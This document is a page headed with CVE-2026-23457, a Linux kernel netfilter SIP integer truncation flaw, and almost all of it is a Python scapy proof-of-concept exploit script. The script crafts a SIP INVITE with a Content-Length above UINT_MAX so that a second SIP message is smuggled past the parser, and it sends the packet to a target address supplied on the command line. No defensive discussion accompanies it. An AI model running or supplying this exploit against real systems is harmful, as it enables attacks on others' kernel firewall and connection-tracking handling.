CVE-2026-23457 Linux内核netfilter SIP解析整数截断漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-23457: Linux Kernel Netfilter SIP Integer Truncation This script crafts a malicious SIP packet with a Content-Length larger than UINT_MAX. """ import sys from scapy.all import IP, TCP, Raw, send def send_sip_poc(target_ip, target_port): # Content-Length: 2^32 + 32 (4294967328). On 64-bit, this truncates to 32. # The parser will read 32 bytes as the body, then process the rest as a new message. payload = ( b"INVITE sip:[email protected] SIP/2.0\r\n" b"Via: SIP/2.0/TCP 192.168.1.2:5060;branch=z9hG4bK-poc\r\n" b"Max-Forwards: 70\r\n" b"To: <sip:[email protected]>\r\n" b"From: <sip:[email protected]>;tag=12345\r\n" b"Call-ID: [email protected]\r\n" b"CSeq: 1 INVITE\r\n" b"Contact: <sip:[email protected]>\r\n" b"Content-Type: application/sdp\r\n" b"Content-Length: 4294967328\r\n" b"\r\n" b"A" * 32 # Data consumed by the truncated length b"INVITE sip:[email protected] SIP/2.0\r\n" # Data parsed as new message b"Content-Length: 0\r\n\r\n" ) packet = IP(dst=target_ip) / TCP(dport=target_port, sport=5060, flags="PA") / Raw(load=payload) send(packet, verbose=1) if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_ip> <target_port>") sys.exit(1) send_sip_poc(sys.argv[1], int(sys.argv[2]))